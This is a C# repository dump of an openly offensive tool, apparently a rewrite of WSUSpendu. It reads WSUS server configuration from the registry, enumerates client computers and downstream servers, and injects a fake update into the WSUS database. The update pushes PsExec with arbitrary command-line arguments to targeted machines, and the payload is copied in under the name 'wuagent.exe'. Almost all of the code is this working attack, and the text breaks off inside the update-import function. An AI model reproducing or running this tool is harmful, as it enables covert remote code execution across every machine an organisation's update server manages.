├── .gitattributes ├── Thunder_Woosus ├── Properties │ └── AssemblyInfo.cs ├── Thunder_Woosus.csproj └── Program.cs └── Thunder_Woosus.sln /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | -------------------------------------------------------------------------------- /Thunder_Woosus/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("Thunder_Woosus")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("Thunder_Woosus")] 13 | [assembly: AssemblyCopyright("Copyright © 2018")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("f18e6581-b6b0-48fa-94fb-c3b26abd8ff7")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /Thunder_Woosus.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.27130.2026 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Thunder_Woosus", "Thunder_Woosus\Thunder_Woosus.csproj", "{F18E6581-B6B0-48FA-94FB-C3B26ABD8FF7}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Debug|x86 = Debug|x86 13 | Release|Any CPU = Release|Any CPU 14 | Release|x64 = Release|x64 15 | Release|x86 = Release|x86 16 | x64|Any CPU = x64|Any CPU 17 | x64|x64 = x64|x64 18 | x64|x86 = x64|x86 19 | EndGlobalSection 20 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 21 | {F18E6581-B6B0-48FA-94FB-C3B26ABD8FF7}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 22 | {F18E6581-B6B0-48FA-94FB-C3B26ABD8FF7}.Debug|Any CPU.Build.0 = Debug|Any CPU 23 | {F18E6581-B6B0-48FA-94FB-C3B26ABD8FF7}.Debug|x64.ActiveCfg = Debug|x64 24 | {F18E6581-B6B0-48FA-94FB-C3B26ABD8FF7}.Debug|x64.Build.0 = Debug|x64 25 | {F18E6581-B6B0-48FA-94FB-C3B26ABD8FF7}.Debug|x86.ActiveCfg = Debug|x86 26 | {F18E6581-B6B0-48FA-94FB-C3B26ABD8FF7}.Debug|x86.Build.0 = Debug|x86 27 | {F18E6581-B6B0-48FA-94FB-C3B26ABD8FF7}.Release|Any CPU.ActiveCfg = Release|Any CPU 28 | {F18E6581-B6B0-48FA-94FB-C3B26ABD8FF7}.Release|Any CPU.Build.0 = Release|Any CPU 29 | {F18E6581-B6B0-48FA-94FB-C3B26ABD8FF7}.Release|x64.ActiveCfg = Release|x64 30 | {F18E6581-B6B0-48FA-94FB-C3B26ABD8FF7}.Release|x64.Build.0 = Release|x64 31 | {F18E6581-B6B0-48FA-94FB-C3B26ABD8FF7}.Release|x86.ActiveCfg = Release|x86 32 | {F18E6581-B6B0-48FA-94FB-C3B26ABD8FF7}.Release|x86.Build.0 = Release|x86 33 | {F18E6581-B6B0-48FA-94FB-C3B26ABD8FF7}.x64|Any CPU.ActiveCfg = x64|Any CPU 34 | {F18E6581-B6B0-48FA-94FB-C3B26ABD8FF7}.x64|Any CPU.Build.0 = x64|Any CPU 35 | {F18E6581-B6B0-48FA-94FB-C3B26ABD8FF7}.x64|x64.ActiveCfg = x64|x64 36 | {F18E6581-B6B0-48FA-94FB-C3B26ABD8FF7}.x64|x64.Build.0 = x64|x64 37 | {F18E6581-B6B0-48FA-94FB-C3B26ABD8FF7}.x64|x86.ActiveCfg = x64|x86 38 | {F18E6581-B6B0-48FA-94FB-C3B26ABD8FF7}.x64|x86.Build.0 = x64|x86 39 | EndGlobalSection 40 | GlobalSection(SolutionProperties) = preSolution 41 | HideSolutionNode = FALSE 42 | EndGlobalSection 43 | GlobalSection(ExtensibilityGlobals) = postSolution 44 | SolutionGuid = {21F7072C-AA32-4F1E-8CFD-C3F9C80CDEFF} 45 | EndGlobalSection 46 | EndGlobal 47 | -------------------------------------------------------------------------------- /Thunder_Woosus/Thunder_Woosus.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {F18E6581-B6B0-48FA-94FB-C3B26ABD8FF7} 8 | Exe 9 | Thunder_Woosus 10 | Thunder_Woosus 11 | v3.5 12 | 512 13 | 14 | 15 | AnyCPU 16 | true 17 | full 18 | false 19 | bin\Debug\ 20 | DEBUG;TRACE 21 | prompt 22 | 4 23 | 24 | 25 | AnyCPU 26 | pdbonly 27 | true 28 | bin\Release\ 29 | TRACE 30 | prompt 31 | 4 32 | 33 | 34 | true 35 | bin\x64\ 36 | DEBUG;TRACE 37 | full 38 | AnyCPU 39 | prompt 40 | MinimumRecommendedRules.ruleset 41 | 42 | 43 | true 44 | bin\x64\Debug\ 45 | DEBUG;TRACE 46 | full 47 | x64 48 | prompt 49 | MinimumRecommendedRules.ruleset 50 | 51 | 52 | bin\x64\Release\ 53 | TRACE 54 | true 55 | pdbonly 56 | x64 57 | prompt 58 | MinimumRecommendedRules.ruleset 59 | 60 | 61 | true 62 | bin\x64\x64\ 63 | DEBUG;TRACE 64 | full 65 | x64 66 | prompt 67 | MinimumRecommendedRules.ruleset 68 | 69 | 70 | true 71 | bin\x86\Debug\ 72 | DEBUG;TRACE 73 | full 74 | x86 75 | prompt 76 | MinimumRecommendedRules.ruleset 77 | 78 | 79 | bin\x86\Release\ 80 | TRACE 81 | true 82 | pdbonly 83 | x86 84 | prompt 85 | MinimumRecommendedRules.ruleset 86 | 87 | 88 | true 89 | bin\x86\x64\ 90 | DEBUG;TRACE 91 | full 92 | x86 93 | prompt 94 | MinimumRecommendedRules.ruleset 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | -------------------------------------------------------------------------------- /Thunder_Woosus/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Text; 3 | using System.Data.SqlClient; 4 | using System.IO; 5 | using System.Security.Cryptography; 6 | using System.Runtime.InteropServices; 7 | using System.Net; 8 | using System.Web; 9 | 10 | namespace Thunder_Woosus 11 | { 12 | //https://social.msdn.microsoft.com/Forums/vstudio/en-US/24792cdc-2d8e-454b-9c68-31a19892ca53/how-to-check-whether-the-system-is-32-bit-or-64-bit-?forum=csharpgeneral 13 | //https://www.roelvanlisdonk.nl/2010/01/08/how-to-read-the-64-bit-x64-part-of-the-registry-from-a-32-bits-x86-c-application/ 14 | //https://stackoverflow.com/questions/2039186/reading-the-registry-and-wow6432node-key/18772256#18772256 15 | #region RegHelper 16 | enum RegSAM 17 | { 18 | QueryValue = 0x0001, 19 | SetValue = 0x0002, 20 | CreateSubKey = 0x0004, 21 | EnumerateSubKeys = 0x0008, 22 | Notify = 0x0010, 23 | CreateLink = 0x0020, 24 | WOW64_32Key = 0x0200, 25 | WOW64_64Key = 0x0100, 26 | WOW64_Res = 0x0300, 27 | Read = 0x00020019, 28 | Write = 0x00020006, 29 | Execute = 0x00020019, 30 | AllAccess = 0x000f003f 31 | } 32 | static class RegHive 33 | { 34 | public static UIntPtr HKEY_LOCAL_MACHINE = new UIntPtr(0x80000002u); 35 | public static UIntPtr HKEY_CURRENT_USER = new UIntPtr(0x80000001u); 36 | } 37 | static class RegistryWOW6432 38 | { 39 | [DllImport("Advapi32.dll")] 40 | static extern uint RegOpenKeyEx(UIntPtr hKey, string lpSubKey, uint ulOptions, int samDesired, out int phkResult); 41 | 42 | [DllImport("Advapi32.dll")] 43 | static extern uint RegCloseKey(int hKey); 44 | 45 | [DllImport("advapi32.dll", EntryPoint = "RegQueryValueEx")] 46 | public static extern uint RegQueryValueEx(int hKey, string lpValueName, int lpReserved, ref uint lpType, System.Text.StringBuilder lpData, ref uint lpcbData); 47 | 48 | static public string GetRegKey64(UIntPtr inHive, String inKeyName, string inPropertyName) 49 | { 50 | return GetRegKey64(inHive, inKeyName, RegSAM.WOW64_64Key, inPropertyName); 51 | } 52 | 53 | static public string GetRegKey32(UIntPtr inHive, String inKeyName, string inPropertyName) 54 | { 55 | return GetRegKey64(inHive, inKeyName, RegSAM.WOW64_32Key, inPropertyName); 56 | } 57 | 58 | public static string GetRegKey64(UIntPtr inHive, String inKeyName, RegSAM in32or64key, string inPropertyName) 59 | { 60 | //UIntPtr HKEY_LOCAL_MACHINE = (UIntPtr)0x80000002; 61 | int hkey = 0; 62 | 63 | try 64 | { 65 | uint lResult = RegOpenKeyEx(RegHive.HKEY_LOCAL_MACHINE, inKeyName, 0, (int)RegSAM.QueryValue | (int)in32or64key, out hkey); 66 | if (0 != lResult) 67 | { 68 | return "ERROR_FILE_NOT_FOUND"; 69 | } 70 | uint lpType = 0; 71 | uint lpcbData = 1024; 72 | StringBuilder AgeBuffer = new StringBuilder(1024); 73 | uint lResultv = RegQueryValueEx(hkey, inPropertyName, 0, ref lpType, AgeBuffer, ref lpcbData); 74 | if(lResultv != 0) 75 | { 76 | return "ERROR_FILE_NOT_FOUND"; 77 | } 78 | byte[] arr = System.Text.Encoding.ASCII.GetBytes(AgeBuffer.ToString()); 79 | return ByteArrayToString(arr); 80 | } 81 | finally 82 | { 83 | if (0 != hkey) RegCloseKey(hkey); 84 | } 85 | } 86 | public static string ByteArrayToString(byte[] ba) 87 | { 88 | if (BitConverter.IsLittleEndian) 89 | Array.Reverse(ba); 90 | 91 | string hex = BitConverter.ToString(ba); 92 | return hex.Replace("-", ""); 93 | } 94 | } 95 | #endregion 96 | public class ClWSUS 97 | { 98 | public bool bWSUSInstalled = true; 99 | public string sOS; 100 | public string sDatabaseInstance; 101 | public string sDatabaseName; 102 | public string sLocalContentCacheLocation; 103 | public string sComputerName; 104 | public int iPortNumber; 105 | public bool bSSL; 106 | public string sTargetComputerID; 107 | public int sTargetComputerTargetID; //I know 108 | 109 | public ClWSUS() 110 | { 111 | FvCheckSSL(); 112 | FvFullComputerName(); 113 | FvOSDetails(); 114 | FvDatabaseBaseName(); 115 | FvContentDirectory(); 116 | } 117 | public void FvContentDirectory() 118 | { 119 | //Next revision, we'll make this a generic function 120 | string sContentDirectoryTemp = string.Empty; 121 | sContentDirectoryTemp = RegistryWOW6432.GetRegKey64(RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Update Services\Server\setup", "ContentDir"); 122 | if (sContentDirectoryTemp == "ERROR_FILE_NOT_FOUND") 123 | { 124 | sContentDirectoryTemp = RegistryWOW6432.GetRegKey32(RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Update Services\Server\setup", "ContentDir"); 125 | if (sContentDirectoryTemp == "ERROR_FILE_NOT_FOUND") 126 | { 127 | bWSUSInstalled = false; 128 | Console.WriteLine("Something went wrong, unable to detect SQL details from registry. Probably my fault"); 129 | return; 130 | } 131 | } 132 | sContentDirectoryTemp = HEX2ASCII(sContentDirectoryTemp); 133 | sContentDirectoryTemp = ReverseString(sContentDirectoryTemp); 134 | sLocalContentCacheLocation = Environment.ExpandEnvironmentVariables(sContentDirectoryTemp); 135 | return; 136 | } 137 | public void FvFullComputerName() 138 | { 139 | sComputerName = Dns.GetHostEntry("LocalHost").HostName; 140 | } 141 | public void FvDatabaseBaseName() 142 | { 143 | //Next revision, we'll make this a generic function 144 | string sDBServerTemp = string.Empty; 145 | sDBServerTemp = RegistryWOW6432.GetRegKey64(RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Update Services\Server\setup", "SqlServerName"); 146 | if (sDBServerTemp == "ERROR_FILE_NOT_FOUND") 147 | { 148 | sDBServerTemp = RegistryWOW6432.GetRegKey32(RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Update Services\Server\setup", "SqlServerName"); 149 | if (sDBServerTemp == "ERROR_FILE_NOT_FOUND") 150 | { 151 | bWSUSInstalled = false; 152 | Console.WriteLine("Something went wrong, unable to detect SQL details from registry. Probably my fault"); 153 | return; 154 | } 155 | } 156 | sDBServerTemp = HEX2ASCII(sDBServerTemp); 157 | sDatabaseInstance = ReverseString(sDBServerTemp); 158 | 159 | //So Painful 160 | string sDBNameTemp = string.Empty; //I know 161 | sDBNameTemp = RegistryWOW6432.GetRegKey64(RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Update Services\Server\setup", "SqlDatabaseName"); 162 | if (sDBNameTemp == "ERROR_FILE_NOT_FOUND") 163 | { 164 | sDBNameTemp = RegistryWOW6432.GetRegKey32(RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Update Services\Server\setup", "SqlDatabaseName"); 165 | if (sDBNameTemp == "ERROR_FILE_NOT_FOUND") 166 | { 167 | bWSUSInstalled = false; 168 | Console.WriteLine("Something went wrong, unable to detect SQL details from registry. Probably my fault"); 169 | return; 170 | } 171 | } 172 | sDBNameTemp = HEX2ASCII(sDBNameTemp); 173 | sDatabaseName = ReverseString(sDBNameTemp); 174 | return; 175 | } 176 | public void FvOSDetails() 177 | { 178 | string sOSTemp = string.Empty; //I know 179 | sOSTemp = RegistryWOW6432.GetRegKey64(RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Windows NT\CurrentVersion", "ProductName"); 180 | if (sOSTemp == "ERROR_FILE_NOT_FOUND") 181 | { 182 | sOSTemp = RegistryWOW6432.GetRegKey32(RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Windows NT\CurrentVersion", "ProductName"); 183 | if (sOSTemp == "ERROR_FILE_NOT_FOUND") 184 | { 185 | bWSUSInstalled = false; 186 | Console.WriteLine("Something went wrong, unable to detect OS version. Probably my fault"); 187 | return; 188 | } 189 | } 190 | //So much Jank! 191 | sOSTemp = HEX2ASCII(sOSTemp); 192 | sOS = ReverseString(sOSTemp); 193 | } 194 | public void FvCheckSSL() 195 | { 196 | //There is a better way to do this. NET4.0 is much easier but trying to keep it 3.5 197 | string sSSLTemp = string.Empty; //I know 198 | sSSLTemp = RegistryWOW6432.GetRegKey64(RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Update Services\Server\setup", "UsingSSL"); 199 | if (sSSLTemp == "ERROR_FILE_NOT_FOUND") 200 | { 201 | sSSLTemp = RegistryWOW6432.GetRegKey32(RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Update Services\Server\setup", "UsingSSL"); 202 | if (sSSLTemp == "ERROR_FILE_NOT_FOUND") 203 | { 204 | bWSUSInstalled = false; 205 | return; 206 | } 207 | } 208 | if (sSSLTemp == "01") 209 | { 210 | bSSL = true; 211 | } 212 | else 213 | { 214 | bSSL = false; 215 | } 216 | } 217 | //https://stackoverflow.com/questions/17637950/convert-string-of-hex-to-string-of-little-endian-in-c-sharp 218 | public string HEX2ASCII(string hex) 219 | { 220 | string res = String.Empty; 221 | for (int a = 0; a < hex.Length; a = a + 2) 222 | { 223 | string Char2Convert = hex.Substring(a, 2); 224 | int n = Convert.ToInt32(Char2Convert, 16); 225 | char c = (char)n; 226 | res += c.ToString(); 227 | } 228 | return res; 229 | } 230 | //https://www.dotnetperls.com/reverse-string 231 | public static string ReverseString(string s) 232 | { 233 | char[] arr = s.ToCharArray(); 234 | Array.Reverse(arr); 235 | return new string(arr); 236 | } 237 | } 238 | public class ClGuid 239 | { 240 | public Guid gUpdate; 241 | public Guid gBundle; 242 | public Guid gTargetGroup; 243 | public ClGuid() 244 | { 245 | gUpdate = Guid.NewGuid(); 246 | gBundle = Guid.NewGuid(); 247 | gTargetGroup = Guid.NewGuid(); 248 | } 249 | } 250 | public class ClFile 251 | { 252 | public string sFileName; 253 | public string sPayload; 254 | public string sFilePath; 255 | public string sArgs; 256 | public long lSize; 257 | public string sSHA1; 258 | public string sSHA256; 259 | 260 | public ClFile(string sPFileName, string sPFilePath, string sPArgs, string sContentLocation, bool bPCopyFile) 261 | { 262 | //Console.WriteLine(sContentLocation); 263 | sFileName = sPFileName; 264 | sFilePath = sPFilePath; 265 | sArgs = HttpUtility.HtmlEncode(HttpUtility.HtmlEncode(sPArgs)); 266 | if (bPCopyFile == true) 267 | { 268 | FbCopyFile(sFilePath, sContentLocation); 269 | } 270 | lSize = new System.IO.FileInfo(sFilePath).Length; 271 | sSHA1 = GetBase64EncodedSHA1Hash(sFilePath); 272 | sSHA256 = GetBase64EncodedSHA256Hash(sFilePath); 273 | } 274 | static bool FbCopyFile(string sFilePath, string sContentLocation) 275 | { 276 | try 277 | { 278 | //Console.WriteLine(sFilePath); 279 | //Console.WriteLine(sContentLocation); 280 | File.Copy(sFilePath, sContentLocation + @"\wuagent.exe"); 281 | return true; 282 | } 283 | catch 284 | { 285 | return false; 286 | } 287 | } 288 | //https://stackoverflow.com/questions/19150468/get-sha1-binary-base64-hash-of-a-file-on-c-sharp/19150543 289 | public string GetBase64EncodedSHA1Hash(string filename) 290 | { 291 | FileStream fs = new FileStream(filename, FileMode.Open, FileAccess.Read, FileShare.Read); 292 | SHA1Managed sha1 = new SHA1Managed(); 293 | { 294 | return Convert.ToBase64String(sha1.ComputeHash(fs)); 295 | } 296 | } 297 | public string GetBase64EncodedSHA256Hash(string filename) 298 | { 299 | FileStream fs = new FileStream(filename, FileMode.Open, FileAccess.Read, FileShare.Read); 300 | SHA256Managed sha256 = new SHA256Managed(); 301 | { 302 | return Convert.ToBase64String(sha256.ComputeHash(fs)); 303 | } 304 | } 305 | } 306 | public class ClCLI 307 | { 308 | public bool bVerbose = false; 309 | public bool bEnumComps = false; 310 | public bool bEnumDS = false; 311 | public bool bTargetComputer = false; 312 | public bool bManualApproval = false; 313 | public bool bDeleteUpdate = false; 314 | public bool bFilePath = false; 315 | public bool bArgs = false; 316 | public bool bPayload = false; 317 | public bool bLocalPath = false; 318 | public string sBundleGUID = string.Empty; 319 | public string sCliTargetComputer = string.Empty; 320 | public string sCliPayload = string.Empty; 321 | public string sCliFileName = string.Empty; 322 | public string sCliFilePath = string.Empty; 323 | public string sCliArgs = string.Empty; 324 | public ClCLI() 325 | { 326 | Console.WriteLine("############################# WSUSTool #############################"); 327 | Console.WriteLine(@"C# Re-Write of WSUSpendu - https://github.com/AlsidOfficial/WSUSpendu with some extras"); 328 | Console.WriteLine("####################################################################\r\n"); 329 | } 330 | public bool FbCLIInterface(string[] args) 331 | { 332 | if (args.Length == 0) 333 | { 334 | return false; 335 | } 336 | for(int i = 0; i < args.Length; i++) 337 | { 338 | switch(args[i].ToLower()) 339 | { 340 | case "-verbose": 341 | bVerbose = true; 342 | break; 343 | case "-enumeratecomputers": 344 | Console.WriteLine("Enumerating WSUS client computers."); 345 | bEnumComps = true; 346 | break; 347 | case "-enumeratedownstream": 348 | Console.WriteLine("Enumerating downstream servers."); 349 | bEnumDS = true; 350 | break; 351 | /* 352 | case "-targetcomputer": 353 | Console.WriteLine("Targeting Single System with FQDN"); 354 | bTargetComputer = true; 355 | sCliTargetComputer = args[i + 1]; 356 | break; 357 | */ 358 | case "-manualapproval": 359 | Console.WriteLine("Injecting update for manual targeting."); 360 | bManualApproval = true; 361 | break; 362 | case "-deleteupdate": 363 | Console.WriteLine("Deleting Update"); 364 | bDeleteUpdate = true; 365 | sBundleGUID = args[i + 1]; 366 | break; 367 | case "-payload": 368 | sCliPayload = args[i + 1].ToLower(); 369 | if(sCliPayload == "psexec") 370 | { 371 | bPayload = true; 372 | } 373 | break; 374 | case "-args": 375 | sCliArgs = args[i + 1].Replace("'","\""); 376 | bArgs = true; 377 | break; 378 | case "-localpath": 379 | sCliFilePath = args[i + 1]; 380 | sCliFileName = System.IO.Path.GetFileName(sCliFilePath); 381 | bLocalPath = true; 382 | break; 383 | } 384 | } 385 | if (bManualApproval == true) 386 | { 387 | if (bArgs == true && bPayload == true && bLocalPath == true) 388 | { 389 | if(sCliPayload == "psexec") 390 | { 391 | if(sCliFileName.ToLower() != "psexec.exe") 392 | { 393 | Console.WriteLine("Rename the filename to psexec.exe"); 394 | return false; 395 | } 396 | } 397 | Console.WriteLine("Using {0} locally located at {1}", sCliFileName, sCliFilePath); 398 | return true; 399 | } 400 | else 401 | { 402 | Console.WriteLine("Deploying update requires payload, local path, and arguments."); 403 | return false; 404 | } 405 | } 406 | return true; 407 | } 408 | public void FvPrintUsage() 409 | { 410 | Console.WriteLine("\r\n############################# Usage ################################"); 411 | Console.WriteLine("Enumerate All WSUS Clients:\t\tThunder_Woosus.exe -EnumerateComputers"); 412 | Console.WriteLine("Enumerate Downstream Servers:\t\tThunder_Woosus.exe -EnumerateDownstream"); 413 | //Console.WriteLine("Target Computer with FQDN:\t\tThunder_Woosus.exe -TargetComputer testmachine.testdomain.local"); 414 | Console.WriteLine("Manually Target Systems:\t\tThunder_Woosus.exe -ManualApproval -Payload psexec -LocalPath \"C:\\windows\\temp\\psexec.exe\" -Args \"-d -accepteula cmd.exe /c 'echo testing123 > c:\\cpl.txt'\""); 415 | Console.WriteLine("Delete Target Update:\t\t\tThunder_Woosus.exe -DeleteUpdate *BundleID*"); 416 | } 417 | } 418 | public struct StUpdate 419 | { 420 | public int iRevisionID; 421 | public string sTitle; 422 | public string sMSRCSeverity; 423 | public string sMSRCNumber; 424 | public string sClassification; 425 | public string sReleaseDate; 426 | public string sKBNumbers; 427 | public string sProducts; 428 | public string sDescription; 429 | public string sURL; 430 | } 431 | class Program 432 | { 433 | public static ClWSUS clWSUSData = new ClWSUS(); 434 | public static ClGuid clGuidData = new ClGuid(); 435 | public static StUpdate stUpdateData = new StUpdate(); 436 | public static ClCLI clCLI = new ClCLI(); 437 | static SqlConnection FsqlConnection() 438 | { 439 | SqlConnection sqlcQuery = new SqlConnection(); 440 | if(clWSUSData.sOS.Contains("Server 2008")) 441 | { 442 | //No Windows 2008 WSUS Server in the lab. Going to leave the SQL instance hardcoded. 443 | sqlcQuery.ConnectionString = @"Server=np:\\.\pipe\MSSQL$MICROSOFT##SSEE\sql\query;Database=" + clWSUSData.sDatabaseName + @";Integrated Security=True"; 444 | } 445 | //'Server=np:\\.\pipe\MICROSOFT##WID\tsql\query;Database=SUSDB;Integrated Security=True' 446 | else if (clWSUSData.sOS.Contains("Server 2012")) 447 | { 448 | sqlcQuery.ConnectionString = @"Server=np:\\.\pipe\" + clWSUSData.sDatabaseInstance + @"\tsql\query;Database=" + clWSUSData.sDatabaseName + @";Integrated Security=True"; 449 | } 450 | else if (clWSUSData.sOS.Contains("Server 2016")) 451 | { 452 | sqlcQuery.ConnectionString = @"Server=np:\\.\pipe\" + clWSUSData.sDatabaseInstance + @"\tsql\query;Database=" + clWSUSData.sDatabaseName + @"; Integrated Security=True"; 453 | } 454 | else 455 | { 456 | Console.WriteLine("Issue while detecting OS in the FsqlConnection, could be an issue with the OS could be my fault. We are checking for 2008, 2012, 2016."); 457 | return null; 458 | } 459 | 460 | try 461 | { 462 | sqlcQuery.Open(); 463 | } 464 | catch 465 | { 466 | Console.WriteLine("\r\nFunction error - FsqlConnection."); 467 | return null; 468 | } 469 | return sqlcQuery; 470 | } 471 | static bool FbGetWSUSConfigSQL(SqlCommand sqlCommFun) 472 | { 473 | SqlDataReader sqldrReader; 474 | sqlCommFun.CommandText = "exec spConfiguration"; 475 | try 476 | { 477 | //Gather Information via SQL 478 | sqldrReader = sqlCommFun.ExecuteReader(); 479 | if (sqldrReader.Read()) 480 | { 481 | clWSUSData.sLocalContentCacheLocation = (string)sqldrReader.GetValue(sqldrReader.GetOrdinal("LocalContentCacheLocation")); 482 | clWSUSData.iPortNumber = (int)sqldrReader.GetValue(sqldrReader.GetOrdinal("ServerPortNumber")); 483 | if (clCLI.bVerbose == true) 484 | { 485 | Console.WriteLine("################# WSUS Server Enumeration via SQL ##################"); 486 | Console.WriteLine("ServerName, WSUSPortNumber, WSUSContentLocation"); 487 | Console.WriteLine("-----------------------------------------------"); 488 | Console.WriteLine("{0}, {1}, {2}", Environment.MachineName, clWSUSData.iPortNumber, clWSUSData.sLocalContentCacheLocation); 489 | } 490 | sqldrReader.Close(); 491 | return true; 492 | } 493 | return false; 494 | } 495 | catch 496 | { 497 | Console.WriteLine("\r\nFunction error - FbGetWSUSConfigSQL."); 498 | return false; 499 | } 500 | } 501 | static bool FbGetComputerTarget(SqlCommand sqlCommFun, string sTargetComputer) 502 | { 503 | SqlDataReader sqldrReader; 504 | sqlCommFun.CommandText = "exec spGetComputerTargetByName @fullDomainName = N'" + sTargetComputer + "'"; 505 | try 506 | { 507 | Console.WriteLine("\r\nTargeting {0}", sTargetComputer); 508 | if (clCLI.bVerbose == true) 509 | { 510 | Console.WriteLine("TargetComputer, ComputerID, TargetID"); 511 | Console.WriteLine("------------------------------------"); 512 | } 513 | sqldrReader = sqlCommFun.ExecuteReader(); 514 | if(sqldrReader.Read()) 515 | { 516 | clWSUSData.sTargetComputerID = (string)sqldrReader.GetValue(sqldrReader.GetOrdinal("ComputerID")); 517 | if(clWSUSData.sTargetComputerID.Length != 0) 518 | { 519 | sqldrReader.Close(); 520 | sqlCommFun.CommandText = "SELECT dbo.fnGetComputerTargetID('" + clWSUSData.sTargetComputerID + "')"; 521 | sqldrReader = sqlCommFun.ExecuteReader(); 522 | if (sqldrReader.Read()) 523 | { 524 | clWSUSData.sTargetComputerTargetID = (int)sqldrReader.GetValue(0); 525 | if (clCLI.bVerbose == true) 526 | { 527 | Console.WriteLine("{0}, {1}, {2}", sTargetComputer, clWSUSData.sTargetComputerID, clWSUSData.sTargetComputerTargetID); 528 | } 529 | sqldrReader.Close(); 530 | return true; 531 | } 532 | else 533 | { 534 | Console.WriteLine("Internal WSUS database error - Target computer {0} has ComputerID {1} but does not have TargetID", sTargetComputer.Length, clWSUSData.sTargetComputerID); 535 | sqldrReader.Close(); 536 | return false; 537 | } 538 | } 539 | else 540 | { 541 | Console.WriteLine("Target computer cannot be found: {0}", sTargetComputer); 542 | sqldrReader.Close(); 543 | return false; 544 | } 545 | } 546 | else 547 | { 548 | Console.WriteLine("Target computer cannot be found: {0}", sTargetComputer); 549 | return false; 550 | } 551 | 552 | } 553 | catch 554 | { 555 | Console.WriteLine("\r\nFunction error - FbGetComputerTarget."); 556 | } 557 | return false; 558 | } 559 | static bool FbEnumAllComputers(SqlCommand sqlCommFun) 560 | { 561 | SqlDataReader sqldrReader; 562 | sqlCommFun.CommandText = "exec spGetAllComputers"; 563 | try 564 | { 565 | Console.WriteLine("####################### Computer Enumeration #######################"); 566 | Console.WriteLine("ComputerName, IPAddress, OSVersion, LastCheckInTime"); 567 | Console.WriteLine("---------------------------------------------------"); 568 | sqldrReader = sqlCommFun.ExecuteReader(); 569 | int count = sqldrReader.FieldCount; 570 | while (sqldrReader.Read()) 571 | { 572 | Console.WriteLine("{0}, {1}, {2}, {3}", sqldrReader.GetValue(sqldrReader.GetOrdinal("FullDomainName")), sqldrReader.GetValue(sqldrReader.GetOrdinal("IPAddress")), sqldrReader.GetValue(sqldrReader.GetOrdinal("ClientVersion")), sqldrReader.GetValue(sqldrReader.GetOrdinal("LastReportedStatusTime"))); 573 | } 574 | sqldrReader.Close(); 575 | return true; 576 | } 577 | catch 578 | { 579 | Console.WriteLine("\r\nFunction error - FbEnumAllComputers."); 580 | } 581 | return false; 582 | } 583 | static bool FbEnumDownStream(SqlCommand sqlCommFun) 584 | { 585 | SqlDataReader sqldrReader; 586 | sqlCommFun.CommandText = "exec spGetAllDownstreamServers"; 587 | try 588 | { 589 | Console.WriteLine("####################### Downstream Server Enumeration #######################"); 590 | Console.WriteLine("ComputerName, OSVersion, LastCheckInTime"); 591 | Console.WriteLine("---------------------------------------------------"); 592 | sqldrReader = sqlCommFun.ExecuteReader(); 593 | int count = sqldrReader.FieldCount; 594 | while (sqldrReader.Read()) 595 | { 596 | Console.WriteLine("{0}, {1}, {2}", sqldrReader.GetValue(sqldrReader.GetOrdinal("AccountName")), sqldrReader.GetValue(sqldrReader.GetOrdinal("Version")), sqldrReader.GetValue(sqldrReader.GetOrdinal("RollupLastSyncTime"))); 597 | } 598 | sqldrReader.Close(); 599 | return true; 600 | } 601 | catch 602 | { 603 | Console.WriteLine("\r\nFunction error - FbEnumDownStream."); 604 | } 605 | return false; 606 | } 607 | static bool FbImportUpdate(SqlCommand sqlCommFun, ClFile clFileData) 608 | { 609 | System.Data.DataTable dtDataTbl = new System.Data.DataTable(); 610 | SqlDataReader sqldrReader; 611 | StringBuilder sbUpdate = new StringBuilder(); 612 | 613 | sbUpdate.AppendLine(@"declare @iImported int"); 614 | sbUpdate.AppendLine(@"declare @iLocalRevisionID int"); 615 | sbUpdate.AppendLine(@"exec spImportUpdate @UpdateXml=N'"); 616 | sbUpdate.AppendLine(@""); 617 | sbUpdate.AppendLine("\t" 